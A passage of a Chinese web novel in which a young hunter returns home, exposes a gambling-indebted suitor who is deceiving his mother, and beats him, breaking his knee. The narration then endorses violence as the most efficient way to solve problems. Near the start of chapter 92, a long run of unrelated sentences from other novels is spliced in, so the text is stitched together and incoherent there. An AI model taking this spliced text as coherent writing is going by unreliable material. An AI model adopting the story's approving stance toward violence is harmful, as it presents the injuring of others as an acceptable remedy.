但却始终不见二人的身影。 一开始的两、三日时,杨蓉还能够接受,到了第五日不见陈虎回来时,杨蓉第二天便寻了几个人帮着进山找。 可亲邻也好,村里头猎户也罢,都不敢深入山林。 毕竟,这积雪这般厚实,动不动一阵寒风刮过去,整个身子都会木然。 贸然进山的话,简直与送死无异! 到了第七日下过两天暴雪后,杨春直接就死了心,整日在家以泪洗面。 杨蓉则仍旧每晚去山道处守着,白日里则忙活着照顾两个孩子,还得喂养那一屋子鸡鸭鹅。 直到这日傍晚,杨蓉也彻底断了念想。 晚饭时,杨蓉家里面,却是多了一位客人。 饭桌前,陈真和陈瑶都好奇地盯着餐桌上的这个男人。 杨蓉与男人寒暄了几句,接着苦笑着望向两个孩子道: “小真、囡囡,叫孙叔叔。” 两个小家伙懵懂的看着男人,男人当即呵呵一笑,从兜里面掏出两颗包着彩纸的水果糖,放到两个小家伙的面前: “小真和囡囡,是吧?吃糖果,这些水果糖都是新鲜货。” 两个小家伙拿着水果糖后,这才眨巴眨巴眼,齐声道: “谢谢叔叔!” 看着两个孩子见生人有些胆怯的模样,杨蓉在心底里深深叹了口气,没有作声。 就在这顿饭快结束时,屋外传来一阵吵嚷声。 紧接着,屋门便被推开,张大娘火急火燎的进了门,满脸兴奋。 杨蓉连忙起身,招呼张大娘坐下,张大娘喘着粗气,不断摆手,缓了缓后,这才兴冲冲的开口道: “杨蓉!小虎和马老三回来了!” 杨蓉一听这话,整个人都怔在原地,半晌才喃喃道:“回来了?” 张大娘见状,大笑道:“回来了!前面就到村头了,眼瞅着就快到了!” 杨蓉惊喜不已,这才急忙起身。往屋外走去。 等杨蓉走到屋门口,便见到几个村民帮着陈虎拉上拖车,正往院子里面走。 拖车上面,摆放着两头山麓、几只野兔和一堆冻鱼! 眼瞅着起码有二百来斤! 陈虎则满脸不修边幅,嘴角边胡子都深了不少,一脸疲惫的跟在拖车后面,不紧不慢的走进院里。 杨蓉见到陈虎的一瞬间。眼泪便夺眶而出! 紧接着,杨蓉上前一把就将陈虎拥入怀中,嘴里还念叨不停道: “小虎!你回来了,小虎,你终于回来了,娘还以为……” 眼见着自家娘这般,陈虎也一边安慰,一边朝着张大娘开口道: “就麻烦张大娘帮我把拖车拖到里屋,我属实有些拖不动了。” 张大娘闻言,一摆手便笑道:“说的哪儿的话呢!不麻烦,老张头,快来搭把手!” 陈虎与马老三一早去到湖边收了渔获,渔获与二人想的相差不大,一口气便是上百斤! 收完后,二人便开始下山。 但山路难走,再加上积雪厚实,一直到了傍晚时分,二人这才精疲力竭的回到村里。 一到村口,两人便被村民瞅见了。 杨春第一时间内就得到了消息,然后将马老三接了回去,顺带着把马老三的那份猎获带走。 而剩下的猎获,陈虎也靠着亲邻帮衬着,一起拖着猎物,回到了家。 而陈虎到家后,杨蓉也在第一时间内就烧了一大锅水,给陈虎洗漱。 在烧水的间隙,杨蓉又另外架了一座炉灶,又煮了一锅米饭,炖了一锅肉羹。 等到陈虎洗漱完来到餐桌时,热气腾腾的饭菜,已经做好,被端上桌了。 这时候,陈虎才注意到正在餐桌上坐着的这位不速之客。 眼前的男人,此时正用诧异的目光,打量着陈虎。 见陈虎望向自己,对方赶忙起身,脸上堆满笑容,出声道: “你就是小虎吧!哎……见到你真好,你叫我老孙就行,我是你爸爸妈妈的朋友。” 陈虎闻言,礼貌的点了点头,接着便动筷,自顾自的吃饭了。 期间,杨蓉正与这姓孙的男人交谈,陈虎也不时的用余光,打量着这个姓孙的男人。 第一卷 第92章 我的问题 这姓孙的男人看着大概四十来岁,穿着一件棕色的旧夹克,蓄着胡子,浓眉大眼,身子看起来倒是壮硕,说话带着一股奇怪的口音,不像是本地人。 可实际上,他是下河村人,与杨蓉娘家是邻居关系。 早些年,这孙姓男人还与陈虎父亲,一并去过县城做工,算是工友。 经过这名为孙川的男人与母亲的交谈,陈虎也得知了男人前些年逃荒去了南方,在南方待了五年,直到去年才回来。 孙川与杨蓉交谈片刻后,见陈虎回来,自己杵在这里氛围不对,当即便...... 修真和科技,这两者之间,唯一的区别,只是修真者不需要借助外力,而普通人需要借助高科技产品而已。 特别是张队长和胡队长,他们在那里艰难地躲闪着,跟一大堆的军人紧紧地牵拉在一起,叫着口号抵抗着。那些黑影甚至黑得要把他们全给遮住了,而且那不断堆高的沙堆,这样压下去是要把他们全埋掉的。 其实这样的事不只是顾云”有过,当年的蛮荒山也曾经让四宗二十八派折戟沉沙、铩羽而归。 “不成!到了慕风濯的地头上了,自然是住他的王府了,我可不住客栈。”死妖孽,怎么说这次也好好好宰你一下。 忠义堂地下室,山狼们还在努力学习人类习性,就感觉到可恶人类的意志再次降临,将细胞转化的时限延长,就见百变号钻出地下室。 这不,正因为考虑到了这些问题,所以当卫紫提出自己的要求时,李涛并未像崔泽那样在第一时间表态。 “选择你还有闲情逸致问这个问题吗?”李秋望着这别致的“新房”哀叹道。 慈母收红线,游子身上衣。临行密密缝,唯恐迟迟归。谁言寸草心,报得三春晖。 没有回应余柏山,这个乐少倒是恶人先告状的质问起了余柏山,语气之中是一点敬意也没有。 美琴没有开口,她只是在自己的目光中添加了新的属性——鄙夷。 看着这样一张脸,我脑海中浮现出一些有些遥远的画面,那是我们在国外的记忆,那会儿的我们,年轻,青春,谈个恋爱就更打仗似的,经常吵闹,草木皆兵。 简铭晨打来的时候正好是五点,天色已经在开始暗下来,他问我在哪里,怎么还不回家。 面具男也脱掉上衣,他身上的疤痕不比肖辰少,但都是一些很久以前的伤疤,看得出他已经很长时间没有受过伤了,但尤其是他脸上的伤疤,已经到了不忍直视的地步。 她不知道傻大宝是不是真的“不行”,反正夜离殇说他不行,神医的话谁敢不信。 简以筠正在犹豫要不要跟老太太打声招呼,毕竟这出门肯定是要经过大客厅的,不打招呼显得不礼貌,但是打招呼吧,看老太太这样儿,说不定打扰了她的雅兴反而不好。 “江叔,您跟我爸做了那么多年朋友,这种照片如果被希希看到,可能真的会跟我离婚,但您信不信她从今往后再也不愿意跟男人接触了?阳子会恨您的。”庄岩只能利用江阳来刺激江祖峰,他说的都是心里话。 原本只想眯一下就醒,可不知是太疲倦,还是他身上的温度令她太过安心,林佳佳就这样睡着了。 我望着黑下去的手机屏幕,一时间像把宋城从屏幕那一头拎过来,狠狠甩他两个耳光。 可还没等我长舒一口气就觉空间气流不对,本能地身形急转向侧,但觉凌厉的寒风擦着我的肩膀而过,甚至都感觉脖颈上有刺疼感。 明明好要住一个星期的院,可是这么早就出院了,肯定都是因为我。 自己的身体瞬间的取代了田野,并且自己感受到了自己仿佛是在操控着田野的身体,更确切的来说自己就是田野。 “这到底是怎么一回事!?”田野大声的说着,说完没忍住还是在旁吐了起来。 队员们也跟着打开探照灯,将光线调制最亮,即便他们的能量卡能量不多了,可这黑夜中唯一的亮光就仿佛能照亮他们生存的路径。 “哎呀妈呀!”宋征刚一跳出院落,不禁惊呼起来,那瞪大的眼睛真的和灯泡差不多。 浑然天成的长枪发出了一阵尖锐的鸣叫之声,下一刻竟然开始彻底的暴动起来,空间随着这黑色长枪的出现形成了扭曲的不规则弧线。 如果这人是真的盘古,那么他就应该知道自己在地府的事情,反之,他就不清楚自己的在地府所发生的事情了。 一阵沉闷的声音在脑海之中爆破出来,这一声爆破之下,叶梵天感觉到自己原本的一道玄魂之力竟然化作了一枚烙印般的纹路在对方的玄魂之中迅速的种下了一枚深刻的痕迹。 如果是这样,只要仔细观察过火葬场地形图,或者是实地去过火葬场的人都能够轻易的绕过老魏头,轻易的将尸体藏在殡仪馆中。 那种混吃等死,不知道晚上自己的身边躺着的会是谁,也不知道第二天又会变成谁的日子。 随着刑天一声令下,龙组五人同一时间踏出脚步朝身披金色斗篷的魔眼箭步冲去,慕白自然也不敢落下,当即提着修罗雾刀,脚下盘绕起缕缕白风,而后身形化作一道锋芒毕露的白色箭矢朝影所在的位置气势汹汹地袭去。 第一卷 第93章 敢偷家? 这位豹爷身为镇上这一亩三分地上的地头蛇,能够因为被通报一声,便急匆匆来到自己的面前,陈虎对此也是有些不解。 可还不等陈虎说明来意,豹爷便满脸讪笑的开口道: “虎爷怎么有空过来啦?也不知会一声,我好让下面人去接你啊!来!来!来!里面请!都愣着做啥呢?看座上茶!” 陈虎见状,不由得皱了皱眉,倒也并未拒绝。 随后,陈虎跟着豹爷,来到场子后面的一间会客厅中。 这会客厅倒是宽敞,里面架着炉火,沙发、茶桌一应俱全,整屋的装修还是实木,从实木地板到实木封顶,就连墙壁上都做了镂空的木装设计! 陈虎满心惊诧的坐下,暗自倒吸了一口凉气。 他自然知道这豹爷做的赌场生意,但想到十里八乡镇子上拢共就那几万人口,他是万万想不到这厮竟然这般挣钱! 就是孙老家的宅子,也不见得有这般豪华的装饰! 陈虎落座之后,豹爷当即吩咐人沏了一壶热茶。 随着茶水奉上,豹爷这才脸上堆笑,开口说道: “虎爷近来不常到镇上吧?许久没见倒是!今儿虎爷是打算来耍两把?虎爷放心,来场子玩保证公平公正,前厅还是后面的包房,随便想怎么玩,要是没带钱,你直接和兄弟们说,这边随便记账!” 陈虎闻言,眉头一挑,忍不住冷笑一声:“随便记账?你们这高利贷当初陈二狗还不起,豹爷觉着我还得上?” 豹爷见状,赶忙摆手摇头道: “哪儿的话?虎爷来兄弟场子,尽管记账,不收半分利息!” 陈虎闻言没接话,端起热茶,抿了一口,简单思量之后,脑海之中却是不由得浮现出孙老的身影。 陈虎很清楚,自己甭管是猎了熊瞎子,还是山君,放到他豹爷的地头上,豹爷可以敬你一分,但绝对不可能像这般献殷勤的。 若是他陈虎有什么需要这位蛇头顾忌或是帮衬的,除去孙老之外,陈虎也想不到多余的人了。 “打住!豹爷用不着这般客气,这次来是想找豹爷打听个人,没别的意思。玩的话,我也玩不来。”陈虎说话时显得十分客气,并没有因为豹爷一个劲的吹捧客套,便失了分寸。 孙老对于陈虎而言,可以是贵人,也可以是人脉。 但陈虎同样明白,自己对于孙老而言,可以是看得上的晚辈,同样也可以仅仅是个送些野味的猎户! 扯虎皮当大旗,历来不是他陈虎的风格。 与这些地头蛇保持井水不犯河水的局面,这也是最好的,不招惹不牵扯,是非自然就不会自己上门的。 豹爷见状,当即笑了笑点头,脸上的刀疤一阵抖动,瘆人又狰狞: “尽管说便是!来到我这儿,不用客气!” 陈虎微微颔首,开门见山道:“找豹爷打听个人,孙川,男。” “他估摸着四十来岁,下河村人,时常穿一件灰色旧夹克。” 豹爷闻言,当即愣了愣,接着挥了挥手,朝外喊道:“六子,过来一下。” 豹爷话音刚落,一个身形中规中矩,看起来二十出头的青年便小跑了过来,到了豹爷跟前,冷着脸点头出声问道:“什么事儿?豹爷?” 豹爷当即将陈虎要找的人,又描述了一遍。 名叫六子的青年听了豹爷的话后。仅是略作思考,便脱口而出道:“这人是场子里的常客,前些日子统共找场子借了二十块的水钱,算算再有半个月,也该到收钱的时候了。” 六子口中的水钱是行话,也就是大家平时挂在嘴边的高利贷。 陈虎一听这话,当即便忍不住心中冷笑,吐出一口浊气,缓缓出声道:“不知道豹爷借给那孙川是几分息?” 豹爷微微一笑,摆了摆手,一旁六子当即会意,望向陈虎应声道:“分生客熟客,像是这孙川给的便是生客的规格,九出十三归。” 陈虎闻言,不由得皱了皱眉。 九出十三归,指的是本钱为十,砍头息一,借贷人拿到手就是九,十三归则是说一月期限后,这孙川需要多还百分之三十! 简单来讲,孙川借贷二十块,砍头息或是叫手续费要先算两块,到手就是十八。 而一月的期限满了,他孙川则需要偿还二十六块! 年利率高达百分之三百六! 并且,孙川若是不能及时还款,那还有更多的违约息等着他,到时候利滚利滚利,压根不可能偿还清楚! 此刻,陈虎心中一边感叹着豹爷这档子人心黑手脏,一边正思考着如何解决这追上门的狗皮膏药。 敢趁着自己不在家,图谋自己家里头的养殖基地和财产,甚至于还找自家娘打感情牌行骗? 陈虎眉头紧皱,随即便有了思量! 敢趁我不在偷家,那就看看你能不能吃得下了! 陈虎低着头,脸上露出一丝冷笑。 抬起头,陈虎的笑容顿时消失,一脸平静望向豹爷,随后正色出声道: “豹爷,这事儿谢了,我便不再叨扰,先行告辞!” 说罢,陈虎端起桌上的茶杯,将茶水一口吞下,转身便打算离开。 豹爷见状,也急忙起身相送。 到了场子门外,豹爷寒暄两句,眼见陈虎已然跨过门槛,却冷不丁的开口道: “陈虎,那孙川的事儿,你给个敞亮话。是朋友的话,那他的债务都是小事儿,要不是的话,那我想年后你也不用多打听了这号人了。” 陈虎闻声回过头来,冲着豹爷,抱拳出声:“豹爷大可随意!此事与我无关!” 豹爷心领神会,当即呵呵笑着。冲陈虎道别。 离开赌坊之后,陈虎又去采购了些许喂养鸡鸭的饲料,最后大包小包的拎着往回走。 天色完全黑下时,陈虎才回到家中。 可刚一进门,陈虎便见到了饭桌前的那孙川,正在逗弄着陈瑶和陈真两个小家伙。 杨蓉正忙活着晚饭,见陈虎回来,冲着陈虎微笑道:“怎么拎了这般多的东西?都买了些什么这是?” 陈虎深深看了一眼饭桌前坐着的孙川,以及饭桌上的一段绸布。 他将鸡饲料放到一边后,随后取出了为杨蓉和两个小家伙买的衣裳。 拆开包装,取出新衣裳,两个小家伙当即便兴冲冲的围了上来。 “哥哥!哥哥!这是给囡囡的吗?” “哥,我也要!我也要!” 陈虎见此,呵呵一笑,随即便将衣服递给两个小家伙道:“别急!都有!都有!” 第一卷 第94章 我欠了债 陈瑶和陈真两个小家伙拿上新衣裳之后,当即兴奋着试穿。 这家店里面的衣服多是外来货,并不是绸布、麻布材质,而是涤纶的棉服,放在后世的话,的确不怎样,满大街都有。 但放在这个年代的乡镇上,这属于是绝对的新鲜物件! 陈虎见两个小家伙试穿后都乐得紧,当即就冲着杨蓉招手道: “妈,你也来试试,看看合不合身!” 杨蓉擦干手,有些拘谨接过那件红色棉服,眼神之中,满是惊喜,嘴上却还念叨着:“这很贵吧?多花这个钱作甚?我衣服还多的嘞!” 但说归说,杨蓉脸上的笑容,却无法掩饰。 这时,陈虎再度将目光投向了饭桌前孙川,以及桌上的那块绸布,颇带玩味的笑道:“那块绸布是?” 杨蓉闻言,赶忙接过话茬,笑道:“你孙叔叔送来的,说是……说是给大家做件衣裳。” 孙川此刻看着陈虎买回来给家里人的棉服,心里头是既眼红,又愤懑。 绸布一尺也才八毛,这些棉服一件就得十块左右! 陈虎一次性买好几件,不仅富庶的让人牙痒痒,更是让带着绸布上门献殷勤的孙川,直接就被打了脸! 陈虎闻言,则不咸不淡的出声道: “是吗?这位孙叔倒是好人,今年这般年景,家家户户都缩衣节食,孙叔还乐意出钱给我家买绸缎,有劳孙叔破财费心了!” 孙川一听陈虎这般说话,顿时又陪着笑脸起身:“这话说得客套了!我这不过是一点小心意,倒是小虎,你这大手笔一出手就是好几件棉服,当真给你娘长脸,要是我能有你这么个儿子,那得是祖坟冒青烟咯!” 陈虎抽身坐下,皮笑肉不笑的说道: “啧啧……这话你倒是说错了,要是我有你这么个爹,恐怕我也不会有今天的能耐!” 陈虎此言一出,屋子里面的氛围,瞬间变得极为奇怪。 孙川自然不解,方才还抬举自己两句的陈虎,怎么就突兀的对他出言针对呢? 杨蓉也同样愣住了,陈虎昨晚摆明说了这事儿他赞成,怎么现在说话又夹枪带棒? 杨蓉当即呵斥一声道:“小虎!好生说话!” 孙川倒是装起了好人,讪笑道:“没事没事儿!年轻人嘛,都这样!” 陈虎闻言,则毫不客气的?冷哼道:“我说的哪儿错了?孙叔叔倒是有心,自己欠的赌债马上到期了,不知道能不能还得上,却还买了绸布上门!你这感情是活菩萨啊,都自身难保了,却还要普渡众生?” 陈虎也再懒得语气周旋,把话直接挑明,说了出来。 孙川的心头,此刻满是震惊! 他怎么也没有想到陈虎前几日还都被议论死在山里头了,结果昨儿才回来,今天就知道自己欠了赌债? 孙川的脸色,阴晴不定,暗暗心惊之余,也很快就想到了对策。 只见,孙川望向一旁的杨蓉,轻声安慰道:“没事!没事!小孩子不待见而已!杨蓉,你也别往心里去,我今儿就不多待了。” 孙川巧妙的避开了“赌债”这个问题,把陈虎方才的一席话,说成是对他不待见。 杨蓉听了孙川的话,却是信了孙川。 当即,杨蓉皱着眉头,望向陈虎,沉声说道: “小虎!赶快给你孙叔叔道歉!” 陈虎则没有回应杨蓉的话,反倒挑眉,看向起身打算出门的孙川道: “姓孙的,我看在你与我父母都是旧识的份上,对你已经很客气了!但你今天不把话说清楚,闹得我妈和我不愉快的话,那今儿这扇门,你是走不出去了!” 面对陈虎赤裸裸的威胁,本就压着心底愠怒的孙川,顿时便爆发出来。 只见,孙川面色狰狞的望向陈虎,冷笑不止道: “小虎,你爸爸走得早,没人教你要尊重长辈,是吧?既然这样的话,那叔叔我来教教你!我倒是要看看,今天我怎就不能走着出去?” 孙川活动着手腕,便朝着陈虎走来。 他也清楚既然陈虎知道了他欠着赌债,那他想做的事情,多半是难成了。 但他搁杨蓉这儿,耽搁这些天,还要被一个半大孩子威胁、恶语相向,不讨点利息的话,那不是白瞎了他活这般大的年纪了吗? 杨蓉见事态演变成这个地步,一时之间,也是慌了神,赶忙就想要阻拦孙川。 可还不等杨蓉做出反应,甚至于连嘴都还没来得及张开,便见孙川直接“嗖”的一声,从她的眼前倒飞出去! 这一幕,可给杨蓉吓傻了! 陈瑶和陈真两个小家伙,则是看清了事情的全貌。 就见得,那孙川刚放了狠话,便见着陈虎猛地起身,速度极快的一脚,直接就将孙川踹飞了出去! 两个小家伙面色惊愕看了看倒地的孙川,又转头望向自家哥哥。 陈虎则冲着两个小家伙,摆了摆手道:“小孩子不能看哦!进屋玩去!” 两个小家伙闻言,赶忙结伴,朝着屋里面走去。 进了屋后,他们又齐齐探出头,偷摸瞧着外边的情况。 此刻,孙川正躺在地上,龇牙咧嘴的叫着。 杨蓉堪堪反应过来,可陈虎却不等她出声,便走到了孙川的近前,然后不由分说的一脚便踩到了孙川的胸口。 随着陈虎稍稍用力,孙川当即就喘不上气来,脸色霎时涨红,两只手紧紧地抓住陈虎的脚踝。 孙川想要挣脱,却惊觉他自己使不上劲来。 陈虎看着挣扎不休的孙川,随即弯下身来,一脸戏谑的笑道: “我最后给你个机会,说明白来我家里图啥!否则的话,不但你今儿不能走着出去,明儿就会有人去你家收债!” 说罢,陈虎这才将脚挪开。 终于喘上一口气的孙川,随后颤抖着坐起身子,一边大口大口的奋力呼吸,一边愤恨的望向陈虎。 陈虎见其面色不善,当即便冷下脸来,还以一记眼刀,冷喝道:“你说是不说?” 一旁的杨蓉仍旧没看明白这到底是怎么回事,她一边嘟囔着:“小虎,你怎么能这样对你孙叔叔的?”一边又打算上前,去将孙川扶起。 孙川看到陈虎那恐怖的眼神,也赶忙收敛恨意,接着咬牙出声道: “陈虎说的不错!我欠了债!” 孙川的话音落下,杨蓉当即就怔住,愣在了原地。 第一卷 第95章 留着碍眼 见孙川承认,陈虎微微颔首,冷声道:“接着说!” 孙川长出了一口气,接着将目光投向了杨蓉,一时之间,眼角含泪,哭出声来道:“杨蓉,我这欠债是因为家里头的黄牛害了病,这才去借的赌场钱,我没欠赌债!我不知道你家陈虎为何要这样对我?这几日我来看你,一来是因为我和陈大兄弟以前是好友,二来是想着你一个人不容易,我又一直喜欢你。” 说着说着,这孙川直接声泪俱下道: “小虎,你要是不赞成也没事,但你不能直接动手啊?我和你爹娘可都是多年的好友!” “好歹我是个长辈!我是欠了点钱,但也没说要上你家借债来还啊?你说说我这是造了什么孽啊!” 陈虎一脸错愕的看着这厮有模有样的三言两语就颠覆了黑白。 一时之间,陈虎也是傻了眼。 好家伙! 豹爷的场子里面说的明明白白,这厮输光了老婆本,再从场子里面,九出十三归借的水钱,大概率又接着上桌了。 可在这厮的嘴里,现在又变成了家里头黄牛害病,需要钱医治? 陈虎这边还没有回过神,杨蓉已然是不乐意了。 杨蓉赶忙上前,将孙川从地上扶起,接着冲着陈虎,大声怒斥道: “小虎!你答应不答应这事儿,妈都可以和你慢慢商量的,但你怎么能打你孙叔叔呢?!你今天这是怎么了?!” 就在杨蓉呵斥的功夫,被杨蓉扶着的孙川竟还冲着陈虎,挑了挑眉。 孙川那神情仿佛在说:你就是知道了,那又如何? 陈虎看着眼前的这一幕,忍不住连连冷笑出声: “姓孙的,这是你自找的!” 当真认为他陈虎是什么慈悲心肠的善人,能受这气? 陈虎没有顾忌杨蓉,上前将杨蓉拉开后,黑着脸就是一拳重击,猛地砸在了孙川的面门! 孙川结结实实的挨了这一拳后,顿时脑袋一耷拉,头晕目眩就朝着地上,仰倒下去。 可这对于陈虎而言,自然还没有完事。 就见得,孙川刚被重重地打倒在屋内的水泥地上,磕碰出重重的响声。 下一瞬,陈虎便纵身一跃,猛地一脚跺下踩中了孙川左腿的膝盖! 咔嚓! 伴随着一阵骨裂声清脆的声音,传到周围每个人的耳中,剧烈的疼痛让得孙川从眩晕之中清醒过来,声音颤抖着,不断嘶吼嚎叫! 陈虎见状,低下身子,也不管孙川这厮哭喊,左右开弓的便朝着他的脸上,连连呼巴掌。 随着陈虎一记记的耳光,结结实实的落在孙川的脸上,响声甚至于在屋外的院子里面,都能够听得清晰。 陈虎一边打,一边追问孙川道:“再说一遍你欠的钱是怎么欠的!把你来我家里面想做什么打算,全部都给我说出来!” 这一幕,可给杨蓉吓得不轻。 杨蓉神情错愕的站在原地,甚至于忘了上前拉开陈虎。 孙川此刻已然有些神志不清,但在痛感的侵袭之下,他一时半会儿也没能晕过去,眼看着陈虎下手越来愈重,他连忙叫停: “我说!我都说!别打了……别打了。” 陈虎见状,这才缓缓起身,冷哼一声,呵斥道:“说清楚些!“ 孙川重重的咳嗽吐出几口血沫子,正打算狡辩,却又对上了陈虎不善的面容,赶忙挥动袖子,将地上的血迹擦干净,这才支支吾吾的开口道: “我是……我是听说了你们家里头开了养殖场,然后前几日又传闻说你进山后没再出来,音信全无,估摸着是栽了。而我先前在赌场里面,把家里的钱输了个一干二净,这才动了歪心思的……” 随后的半刻钟内,陈虎问,孙川便如实回答。 属实是被打怕了的孙川每每回答,都事无巨细的娓娓道来。 陈虎出名后,开设养殖场,这事儿自然传得沸沸扬扬,十里八乡都听到了风声。 如今的陈虎,可算是镇上的名人,但凡与之相关的传闻,都是大家伙茶余饭后的谈资。 前些日子,孙川把家当全押注在赌桌上面,输了个干干净净。 眼看年关将至,他老娘还没落口吃的,他前些年还逃荒去了外地,不归家没尽孝,想到年关让老娘饿着肚子,就一阵愧疚。 所以,输光了之后,孙川便在场子里面,借了二十块水钱。 而钱到了手上,孙川这厮随后倒是清醒过来,没再想着再继续去赌。 不仅买了些衣物和吃食回家孝敬老娘,还把家里头变卖的物件,都买了回来。 但水钱不仅要还,更需要连本带利的还! 陈二狗前两月才出了事情,一家子没了音信,去外地躲债,老娘还上吊自尽的事儿,闹得沸沸扬扬。 他孙川混迹在这圈子里面,自然是清楚得很,所以他也怕还不了赌债,被追债上门,怕的是整宿整宿的睡不着。 直到听到了陈虎家的消息,本想着来陈虎家里头,借着交情,再加上陈虎家里如今发达了,救济一二。 但一来就听说了陈虎进了山,生死未卜。 这时候,孙川望着杨蓉孤儿寡母,一个人拉扯两个孩子,便起了心思。 一来,陈虎留下的养鸡场,可是一笔巨大的财富! 二来,还上赌债过后,再接手陈虎家里的田产和养殖场,到时候,反正自己光棍一条,帮着杨蓉养了孩子,也算是报答了。 当然,孙川的这番话说得再如何动听,杨蓉也听不下去了! 从孙川踏入家门的那一刻,他给杨蓉展现的便是一个出了远门,挣到钱,衣锦还乡的形象。 并且,孙川更是心系她杨蓉长久,能够接受杨蓉的孩子们。 这样的男人,杨蓉又自认知根知底,已然做好了改嫁的打算。 如此一来,不仅不用让陈虎时常进山冒险,还能够让家里面的两个小家伙拥有爸爸。 但得知这一切从开始就是谎言的杨蓉,此时也是彻底死了心。 她看着满脸是血的孙川,随后从兜里面掏出一叠毛票,接着低下身子,递到了孙川的面前。 孙川望着这一沓票子,愣愣的望向陈虎,见陈虎没吱声,他这才颤抖着接下。 杨蓉递过钱后,便看着孙川,满脸淡漠道: “这里是十五块!多的我给不了,拿上钱就走吧!这钱算是我儿子打你给的医药费,以后别再踏进这扇门了!” 说完,杨蓉就转身回了屋里。 孙川本还想再说些什么,却见陈虎冷峻的脸上,已经生出了一抹不耐烦。 当即,孙川便咽了口唾沫,悻悻然的起身,瘸着腿往外走去。 不过,孙川刚走出门,陈虎却又将他给叫住了。 “等等!” 孙川闻言,颤抖着转过头,却见陈虎将他带来的那段绸布,直接给扔了过来,并且冷冷的丢下了一句话:“带上你的破玩意儿,滚吧!留着碍眼!” 孙川闻言没作声,捡起绸布之后,便消失在了夜色之中。 望着孙川瘸腿离去的身影,陈虎的心中,也是忍不住一阵感叹。 虽说崇拜暴力不可取,但不得不承认,暴力往往是最快捷、最高效的处理问题的办法! 待到屋门关上之后,杨蓉这才从里屋走出,端着热气腾腾的饭菜上桌,并招呼着躲在房间里面探头偷看的两个小家伙,一起来吃饭。 第一卷 第96章 往后,这上河村可就在你的管辖下了! 饭桌上,杨蓉深深的看了一眼陈虎,接着,她的眼底露出了一抹欣慰道: “小虎长大了,这件事情,妈不怪他,也不怨你,你不用多想!妈只怪自己识人不明,差点儿就瞎了眼了。” 陈虎接过杨蓉递来的饭碗,微微笑出声道: “妈,不就是差点儿被骗子骗了嘛,这也不算什么大事儿!况且,你也没被骗,别整得你自己有心结,为这种烂人划不来的。我呀,还是那句话,你尽管放宽心,家里头有我撑着,你不需要想着找人来帮衬我。” “至于妈你要是想着找个伴儿,我是举双手双脚赞成!” “当然,前提是这人的人品得过关,对你好,对弟弟妹妹好才行。” 杨蓉闻言,当即忍不住喜极而泣,一边抹着泪花,一边笑道: “好孩子!也不知道妈妈上辈子是积攒了多大的福报,这辈子才能有你们这样的孩子,快吃饭!咱们不说这个了!” 小囡囡捧着饭碗,一脸不解的望望自家妈妈,又望望自家哥哥,有些茫然道:“妈妈,你为什么哭啊?” 小鼻涕虫则直接放下了饭碗,抬手扯着袖口,上前给杨蓉擦干了眼泪道:“妈妈不哭!” 杨蓉一手一个,将两个孩子抱进了怀里,随后笑着出声:“好孩子,妈妈这是感动,感谢老天爷开了眼,让你们成为妈妈的孩子。” 孙川的风波在一家人温馨和睦的交谈之中,彻底烟消云散。 屋内青灯热羹汤,屋外雪月明晃晃。 次日一早,陈虎吃过饭后,便再度去了镇上。 与昨日空手采购,打听消息不同,陈虎这一次用拖车,拖着一整头处理好的山麓,以及两只剥皮洗净,冻在雪里的野兔,一起出发。 拖着拖车,陈虎直到正午,才赶到镇上。 到了镇子上后,陈虎便直奔孙老家去了。 敲开孙老家大门,开门的正是孙若薇。 孙若薇今天穿了一件红色的高领毛衣,下半身穿着一条黑色的棉裙,头发高高束起,看上去十分的青春靓丽。 放在这个思想保守,衣服多是麻布针线织出的年代,她的这张脸配上这身有格调的装束,显然是一道靓丽亮眼的绝美风景线。 孙若薇打开门,见来人是陈虎,又看到了陈虎拖车上的那头山麓和两只野兔,不由惊讶道:“这是……山麓?” 陈虎闻言,点了点头,然后就跟着孙若薇,进了院子。 孙若薇望着陈虎拖车上的猎物,不由得啧啧称奇,接着便叫来了孙老。 在见到陈虎拖车上的猎物之后,孙老也是不由得大喜道: “好小子!真是瞌睡来了送枕头!” 陈虎闻言,一脸不解的笑了笑道:“老爷子,这是哪儿的话?” 孙老也不掩饰什么,当即直言道:“若薇他爹执行任务时受了伤,正卧病在床。这两日我正打算带着若薇过去看看,这鹿肉大补,刚好一并给带过去。” 说罢,孙老便招呼着陈虎进门。 旋即,三人来到书房,孙若薇照常给二人沏茶。 陈虎入座后,当即便十分关切的询问了几句,孙老则摆了摆手,说不碍事。 紧接着,陈虎和孙老两人闲聊了一阵,等到茶水煮好,孙若薇给二人斟茶之后,老爷子这才轻敲桌面,饶有兴致的开口道: “听说你们村的村长遇害了?” 陈虎闻言,点了点头,略带惋惜道:“唉……也是苦命人,一家子都被歹徒杀了。” 老爷子对此显然不感兴趣,当即摆手道:“这事儿给司法头疼去,上次若薇帮你送货回来后,把你的打算说了,你应下的承诺算你小子做成。既然这次来了,顺带着去一趟镇政府,拿了任命回去。往后,这上河村可就在你的管辖下了!事儿要是办得不利落,你可记住了,连带着老头子我的脸面可一同摔在地上了。” 陈虎闻言,当即心中一喜,直接就拍着胸脯,保证道: “老爷子,您放心!这事儿我保管做的漂漂亮亮!上河村的村民们也都是我宗亲、邻里,我拿这个身份,一来是帮自己,二来要号召全村,大家一并做点成绩,给大家都找条活路。而我当了村长的话,很多事情做起来,都能方便得多。” 孙老对于陈虎的保证,也是颇为信任的。 两人就陈虎先前与孙若薇说过的后续打算,又交流了许久。 在陈虎指明了的他的想法中的许多细枝末节的问题,该如何去处理后,孙老也算是彻底信任了陈虎的能耐。 喝完茶,孙老搬来棋盘,叫上陈虎陪着下了两局。 午后,孙老显然是乏了,便让孙若薇陪着下棋,而他自己则进了屋里午睡。 书房顿时只剩下孙若薇与陈虎二人对坐。 孙若薇颇有兴致的望着陈虎,美眸流转间,缓缓开口道: “你的棋力不赖!有时候还能让我爷爷一手,我下不过你!” 陈虎闻言,则是轻笑摇头:“说笑了!我只不过在街边的棋摊上学了两手,本质上,我就是个臭棋篓子。” 孙若薇见陈虎自谦,当即便不满道:“怎的?还想骗我上桌,在你手下吃瘪?” 陈虎闻言,却是忍不住哈哈大笑,连连摆手。 就在两人闲聊几句后,孙若薇却冷不丁的开口道: “你这人很奇怪!有学识、有见地,但你的出身和生长的环境,明显的不具备让你知晓这些的条件。你聪明的过分,还有能耐进山猎野兽养家,给人感觉仿佛你无所不能。” “无所不能?不见得吧?眼下我就不知道该如何回答你的问题。”陈虎耸了耸肩,笑道。 孙若薇见陈虎又不正经,却仍旧一脸正色,她深深看了一眼陈虎之后,这才郑重开口道: “陈虎,我想找你帮个忙。” 陈虎闻言,倒是坦然,当即两手一摊,面带微笑:“孙大小姐尽管吩咐,小的无敢不从。” 